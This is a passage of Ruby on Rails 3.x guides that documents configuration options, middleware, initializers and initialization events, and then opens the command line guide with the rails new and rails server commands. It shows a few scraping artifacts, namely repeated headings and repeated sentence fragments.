- `config.middleware` allows you to configure the application's middleware. This is covered in depth in the **Configuring Middleware** section below.
- `config.plugins` accepts the list of plugins to load. The default is `nil` in which case all plugins will be loaded. If this is set to `[]`, no plugins will be loaded. Otherwise, plugins will be loaded in the order specified. This option lets you enforce some particular loading order, useful when dependencies between plugins require it. For that use case, put first the plugins you want to be loaded in a certain order, and then the special symbol `:all` to have the rest loaded without the need to specify them.
- `config.preload_frameworks` enables or disables preloading all frameworks at startup. Enabled by `config.threadsafe!`. Defaults to `nil`, so is disabled.
- `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored.
- `config.reload_plugins` enables or disables plugin reloading. Defaults to false.
- `config.secret_token` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_token` initialized to a random key in `config/initializers/secret_token.rb`.
- `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app.
- `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:

```
config.session_store :my_custom_store
```

This custom store must be defined as `ActionDispatch::Session::MyCustomStore`. In addition to symbols, they can also be objects implementing a certain API, like `ActiveRecord::SessionStore`, in which case no special namespace is required.

- `config.threadsafe!` enables `allow_concurrency`, `cache_classes`, `dependency_loading` and `preload_frameworks` to make the application threadsafe.

Threadsafe operation is incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call `config.threadsafe!`.

- `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
- `config.whiny_nils` enables or disables warnings when a certain set of methods are invoked on `nil` and it does not respond to them. Defaults to true in development and test environments.

3.2 Configuring Assets

Rails 3.1, by default, is set up to use the `sprockets` gem to manage assets within an application. This gem concatenates and compresses assets in order to make serving them much less painful.

- `config.assets.enabled` a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in `config/application.rb`.
- `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`.
- `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
- `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively.
- `config.assets.paths` contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
- `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run.
- `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`.
- `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb`.
- `config.assets.debug` disables the concatenation and compression of assets. Set to `false` by default in `development.rb`.
- `config.assets.manifest` defines the full path to be used for the asset precompiler's manifest file. Defaults to using `config.assets.prefix`.
- `config.assets.cache_store` defines the cache store that Sprockets will use. The default is the Rails file store.
- `config.assets.version` is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled.
- `config.assets.compile` is a boolean that can be used to turn on live Sprockets compilation in production.
- `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to false will turn off served assets logging.

3.3 Configuring Generators

3.3 Configuring Generators

Rails 3 allows you to alter what generators are used with the `config.generators` method. This method takes a block:

```
config.generators do |g|
  g.orm :active_record
  g.test_framework :test_unit
end
```

The full set of methods that can be used in this block are as follows:

- `assets` allows to create assets on generating a scaffold. Defaults to `true`.
- `force_plural` allows pluralized model names. Defaults to `false`.
- `helper` defines whether or not to generate helpers. Defaults to `true`.
- `integration_tool` defines which integration tool to use. Defaults to `nil`.
- `javascripts` turns on the hook for javascripts in generators. Used in Rails for when the `scaffold` generator is ran. Defaults to `true`.
- `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `nil`.
- `orm` defines which orm to use. Defaults to `false` and will use Active Record by default.
- `performance_tool` defines which performance tool to use. Defaults to `nil`.
- `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`.
- `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a *scaffolded* controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`.
- `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is ran, but this hook can be used in other generates as well. Defaults to `true`.
- `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`.
- `test_framework` defines which test framework to use. Defaults to `false` and will use Test::Unit by default.
- `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`.

3.4 Configuring Middleware

Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:

- `Rack::SSL` forces every request to be under HTTPS protocol. Will be available if `config.force_ssl` is set to `true`. Options passed to this can be configured by using `config.ssl_options`.
- `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_assets` is `true`.
- `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled if `config.action_controller.allow_concurrency` is set to `false`, which it is by default.
- `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
- `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.
- `Rails::Rack::Logger` notifies the logs that the request has began. After request is complete, flushes all the logs.
- `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless.
- `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method.
- `ActionDispatch::RemoteIp` checks for IP spoofing attacks. Configurable with the `config.action_dispatch.ip_spoofing_check` and `config.action_dispatch.trusted_proxies` settings.
- `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`.
- `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request.
- `ActiveRecord::ConnectionAdapters::ConnectionManagement` cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
- `ActiveRecord::QueryCache` caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned.
- `ActionDispatch::Cookies` sets cookies for the request.
- `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate

- `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the `config.action_controller.session_store` to an alternate value. Additionally, options passed to this can be configured by using `config.action_controller.session_options`.
- `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value.
- `ActionDispatch::ParamsParser` parses out parameters from the request into `params`.
- `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types.
- `ActionDispatch::Head` converts HEAD requests to GET requests and serves them as so.
- `ActionDispatch::BestStandardsSupport` enables "best standards support" so that IE8 renders some elements correctly.

Besides these usual middleware, you can add your own by using the `config.middleware.use` method:

```
config.middleware.use Magical::Unicorns
```

This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another.

```
config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
```

There's also `insert_after` which will insert a middleware after another:

```
config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
```

Middlewares can also be completely swapped out and replaced with others:

```
config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns
```

They can also be removed from the stack completely:

```
config.middleware.delete ActionDispatch::BestStandardsSupport
```

3.5 Configuring i18n

- `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
- `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.

3.6 Configuring Active Record

`config.active_record` includes a variety of configuration options:

- `config.active_record.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging.
- `config.active_record.primary_key_prefix_type` lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set.) There are two other choices:
  - `:table_name` would make the primary key for the Customer class `customerid`
  - `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`
- `config.active_record.table_name_prefix` lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string.
- `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.
- `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to

false, then the Customer class will use the `customer` table.

- `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails.
- `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements.
- `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.
- `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is true by default.
- `config.active_record.whitelist_attributes` will create an empty whitelist of attributes available for mass-assignment security for all models in your app.
- `config.active_record.identity_map` controls whether the identity map is enabled, and is false by default.
- `config.active_record.auto_explain_threshold_in_seconds` configures the threshold for automatic EXPLAINs (`nil` disables this feature). Queries exceeding the threshold get their query plan logged. Default is 0.5 in development mode.

The MySQL adapter adds one additional configuration option:

- `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns in a MySQL database to be booleans and is true by default.

The schema dumper adds one additional configuration option:

- `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should *not* be included in any generated schema file. This setting is ignored unless `config.active_record.schema_format == :ruby`.

3.7 Configuring Action Controller

`config.action_controller` includes a number of configuration settings:

- `config.action_controller.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.
- `config.action_controller.asset_path` takes a block which configures where assets can be found. Shorter version of `config.action_controller.asset_path`.
- `config.action_controller.page_cache_directory` should be the document root for the web server and is set using `Base.page_cache_directory = "/document/root"`. For Rails, this directory has already been set to `Rails.public_path` (which is usually set to `Rails.root + "/public"`). Changing this setting can be useful to avoid naming conflicts with files in `public/`, but doing so will likely require configuring your web server to look in the new location for cached files.
- `config.action_controller.page_cache_extension` configures the extension used for cached pages saved to `page_cache_directory`. Defaults to `.html`.
- `config.action_controller.perform_caching` configures whether the application should perform caching or not. Set to false in development mode, true in production.
- `config.action_controller.default_charset` specifies the default character set for all renders. The default is "utf-8".
- `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging.
- `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default.

RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default.

- `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is false in test mode and true in all other modes.
- `config.action_controller.relative_url_root` can be used to tell Rails that you are deploying to a subdirectory. The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.

The caching code adds two additional settings:

- `ActionController::Base.page_cache_directory` sets the directory where Rails will create cached pages for your web server. The default is `Rails.public_path` (which is usually set to `Rails.root + "/public"`).
- `ActionController::Base.page_cache_extension` sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is `.html`.

The Active Record session store can also be configured:

- `ActiveRecord::SessionStore::Session.table_name` sets the name of the table used to store sessions. Defaults to `sessions`.
- `ActiveRecord::SessionStore::Session.primary_key` sets the name of the ID column used in the sessions table. Defaults to `session_id`.
- `ActiveRecord::SessionStore::Session.data_column_name` sets the name of the column which stores marshaled session data. Defaults to `data`.

3.8 Configuring Action Dispatch

- `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class.
- `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
- `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
- `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
- `ActionDispatch::Callbacks.after` takes a block of code to run after the request.

3.9 Configuring Action View

There are only a few configuration options for Action View, starting with four on `ActionView::Base`:

- `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Record. The default is

```
Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe }
```

- `config.action_view.default_form_builder` tells Rails which form builder to use by default. The default is `ActionView::Helpers::FormBuilder`.
- `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging.
- `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the **ERB documentation** for more information.
- `config.action_view.javascript_expansions` is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as:

```
config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) }
```

However, you may add to this by defining others:

However, you may add to this by defining others.

```
config.action_view.javascript_expansions[:prototype] = ['prototype', 'effects', 'dragdrop', 'controls']
```

And can reference in the view with the following code:

```
<%= javascript_include_tag :prototype %>
```

- `config.action_view.stylesheet_expansions` works in much the same way as `javascript_expansions`, but has no default key. Keys defined for this hash can be referenced in the view like such:

```
<%= stylesheet_link_tag :special %>
```

- `config.action_view.cache_asset_ids` With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running.

3.10 Configuring Action Mailer

There are a number of settings available on `config.action_mailer`:

- `config.action_mailer.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging.

- `config.action_mailer.smtp_settings` allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options:
  - `:address` – Allows you to use a remote mail server. Just change it from its default "localhost" setting.
  - `:port` – On the off chance that your mail server doesn't run on port 25, you can change it.
  - `:domain` – If you need to specify a HELO domain, you can do it here.
  - `:user_name` – If your mail server requires authentication, set the username in this setting.
  - `:password` – If your mail server requires authentication, set the password in this setting.
  - `:authentication` – If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.

- `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options:
  - `:location` – The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.
  - `:arguments` – The command line arguments. Defaults to `-i -t`.

- `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true.

- `config.action_mailer.delivery_method` defines the delivery method. The allowed values are `:smtp` (default), `:sendmail`, and `:test`.

- `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.

- `config.action_mailer.default` configures Action Mailer defaults. These default to:

  ```
  :mime_version => "1.0",
  :charset      => "UTF-8",
  :content_type => "text/plain",
  :parts_order  => [ "text/plain", "text/enriched", "text/html" ]
  ```

- `config.action_mailer.observers` registers observers which will be notified when mail is delivered.

  ```
  config.action_mailer.observers = ["MailObserver"]
  ```

- `config.action_mailer.interceptors` registers interceptors which will be called before mail is sent.

  ```
  config.action_mailer.interceptors = ["MailInterceptor"]
  ```

3.11 Configuring Active Resource

There is a single configuration setting available on `config.active_resource`:

- `config.active_resource.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Resource. Set to `nil` to disable logging.

3.12 Configuring Active Support

There are a few configuration options available in Active Support:

- `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded.
- `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `true`.
- `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `false`.
- `ActiveSupport::BufferedLogger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
- `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations.
- `ActiveSupport::Deprecation.behavior` alternative setter to `config.active_support.deprecation` which configures the behavior of deprecation warnings for Rails.
- `ActiveSupport::Deprecation.silence` takes a block in which all deprecation warnings are silenced.
- `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings.
- `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.

4 Rails Environment Settings

Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:

- `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under.
- `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
- `ENV["RAILS_ASSET_ID"]` will override the default cache-busting timestamps that Rails generates for downloadable assets.
- `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.

5 Using Initializer Files

After loading the framework and any gems and plugins in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under `config/initializers` in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks, plugins and gems are loaded, such as options to configure settings for these parts.

You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.

If you have any ordering dependency in your initializers, you can control the load order by naming. For example, `01_critical.rb` will be loaded before `02_normal.rb`.

6 Initialization events

Rails has 5 initialization events which can be hooked into (listed in the order that they are ran):

- `before_configuration`: This is run as soon as the application constant inherits from `Rails::Application`. The `config` calls are evaluated before this happens.
- `before_initialize`: This is run directly before the initialization process of the application occurs with the `:bootstrap_hook` initializer near the beginning of the Rails initialization process.
- `to_prepare`: Run after the initializers are ran for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`.
- `before_eager_load`: This is run directly before eager loading occurs, which is the default behaviour for the *production* environment and not for the `development` environment.
- `after_initialize`: Run directly after the initialization of the application, but before the application initializers are run.

To define an event for these hooks, use the block syntax within a `Rails::Aplication`, `Rails::Railtie` or `Rails::Engine` subclass:

```
module YourApp
  class Application < Rails::Application
    config.before_initialize do
      # initialization code goes here
    end
  end
end
```

Alternatively, you can also do it through the `config` method on the `Rails.application` object:

```
Rails.application.config.before_initialize do
  # initialization code goes here
end
```

Some parts of your application, notably observers and routing, are not yet set up at the point where the `after_initialize` block is called.

6.1 `Rails::Railtie#initializer`

Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `initialize_whiny_nils` initializer from Active Support:

```
initializer "active_support.initialize_whiny_nils" do |app|
  require 'active_support/whiny_nil' if app.config.whiny_nils
end
```

The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer *after*.

Initializers defined using the `initializer` method will be ran in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods.

You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go *before* "four" but *after* "three", that just isn't logical and Rails will not be able to determine your initializer order.

The block argument of the `initializer` method is the instance of the application itself, and so we can access the configuration on it by using the `config` method as done in the example.

Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you can use the `initializer` method in `config/application.rb` to define initializers for the application.

6.2 Initializers

Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).

`load_environment_hook` Serves as a placeholder so that `:load_environment_config` can be defined to run before it.

`load_active_support` Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.

`preload_frameworks` Loads all autoload dependencies of Rails automatically if `config.preload_frameworks` is `true` or "truthful". By default this configuration option is disabled. In Rails, when internal classes are referenced for the first time they are autoloaded. `:preload_frameworks` loads all of this at once on initialization.

`initialize_logger` Initializes the logger (an `ActiveSupport::BufferedLogger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.

`initialize_cache` If `RAILS_CACHE` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `RAILS_CACHE`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.

`set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer — which runs only if `cache_classes` is set to `false` — uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.

`initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them.

`bootstrap_hook` Runs all configured `before_initialize` blocks.

`i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.

`active_support.initialize_whiny_nils` Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as:

```
Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id
```

And:

```
You have a nil object when you didn't expect it!
You might have expected an instance of Array.
The error occurred while evaluating nil.each
```

`active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.

`active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".

`action_dispatch.configure` Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`.

`action_view.cache_asset_ids` Sets `ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids` to `false` when Active Support loads, but only if `config.cache_classes` is too.

`action_view.javascript_expansions` Registers the expansions set up by `config.action_view.javascript_expansions` and `config.action_view.stylesheet_expansions` to be recognized by Action View and therefore usable in the views.

`action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.

action_controller.logger Sets `ActionController::Base.logger` — if it's not already set — to `Rails.logger`.

action_controller.initialize_framework_caches Sets `ActionController::Base.cache_store` — if it's not already set — to `RAILS_CACHE`.

action_controller.set_configs Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through.

action_controller.compile_config_methods Initializes methods for the config settings specified so that they are quicker to access.

active_record.initialize_timezone Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`.

active_record.logger Sets `ActiveRecord::Base.logger` — if it's not already set — to `Rails.logger`.

active_record.set_configs Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.

active_record.initialize_database Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment.

active_record.log_runtime Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger.

active_record.set_dispatch_hooks Resets all reloadable connections to the database if `config.cache_classes` is set to `false`.

action_mailer.logger Sets `ActionMailer::Base.logger` — if it's not already set — to `Rails.logger`.

action_mailer.set_configs Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through.

action_mailer.compile_config_methods Initializes methods for the config settings specified so that they are quicker to access.

active_resource.set_configs Sets up Active Resource by using the settings in `config.active_resource` by `send`'ing the method names as setters to `ActiveResource::Base` and passing the values through.

set_load_path This initializer runs before `bootstrap_hook`. Adds the `vendor`, `lib`, all directories of `app` and any paths specified by `config.load_paths` to `$LOAD_PATH`.

set_autoload_paths This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths` to `ActiveSupport::Dependencies.autoload_paths`.

add_routing_paths Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application.

add_locales Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files.

add_view_paths Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application.

load_environment_config Loads the `config/environments` file for the current environment.

append_asset_paths Finds asset paths for the application and all attached railties and keeps a track of the available directories in `config.static_asset_paths`.

prepend_helpers_path Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application.

load_config_initializers Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks and plugins are loaded.

`engines_blank_point` Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are ran.

`add_generator_templates` Finds templates for generators at `lib/templates` for the application, railities and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.

`ensure_autoload_once_paths_as_subset` Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.

`add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be ran per request in development, or before the first request in production.

`add_builtin_route` If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.

`build_middleware_stack` Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request.

`eager_load!` If `config.cache_classes` is true, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all the Ruby files from `config.eager_load_paths`.

`finisher_hook` Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines.

`set_routes_reloader` Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`.

`disable_dependency_loading` Disables the automatic dependency loading if the `config.cache_classes` is set to true and `config.dependency_loading` is set to false.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

A Guide to The Rails Command Line

Rails comes with every command line tool you'll need to

- Create a Rails application
- Generate models, controllers, database migrations, and unit tests
- Start a development server
- Experiment with objects through an interactive shell
- Profile and benchmark your new creation

Chapters

1. **Command Line Basics**
   - `rails new`
   - `rails server`
   - `rails generate`
   - `rails console`
   - `rails dbconsole`
   - `rails plugin`
   - `rails runner`
   - `rails destroy`
2. **Rake**
   - `about`
   - `assets`
   - `db`
   - `doc`
   - `notes`
   - `routes`
   - `test`
   - `tmp`
   - **Miscellaneous**
3. **The Rails Advanced Command Line**
   - **Rails with Databases and SCM**
   - `server` **with Different Backends**

This tutorial assumes you have basic Rails knowledge from reading the **Getting Started with Rails Guide**.

This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.

1 Command Line Basics

There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:

- `rails console`
- `rails server`
- `rake`
- `rails generate`
- `rails dbconsole`
- `rails new app_name`

Let's create a simple Rails application to step through each of these commands in context.

1.1 `rails new`

The first thing we'll want to do is create a new Rails application by running the `rails new` command after installing Rails.

You can install the rails gem by typing `gem install rails`, if you don't have it already. Follow the instructions in the **Rails 3 Release Notes**

```
$ rails new commandsapp
     create
     create  README.rdoc
     create  .gitignore
     create  Rakefile
     create  config.ru
     create  Gemfile
     create  app
     ...
     create  tmp/cache
     create  tmp/pids
     create  vendor/plugins
     create  vendor/plugins/.gitkeep
```

Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.

1.2 `rails server`

The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.

WEBrick isn't your only option for serving Rails. We'll get to that **later**.

With no further work, `rails server` will run our new shiny Rails app:

```
$ cd commandsapp
$ rails server
=> Booting WEBrick
=> Rails 3.1.0 application starting in development on http://0.0.0.0:3000
=> Call with -d to detach
```

```
=> Ctrl-C to shutdown server
[2010-04-18 03:20:33] INFO  WEBrick 1.3.1
[2010-04-18 03:20:33] INFO  ruby 1.8.7 (2010-01-10) [x86_64-linux]
[2010-04-18 03:20:33] INFO  WEBrick::HTTPServer#start: pid=26086 port=3000
```

With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open **http://localhost:3000**, you will see a basic Rails app running.

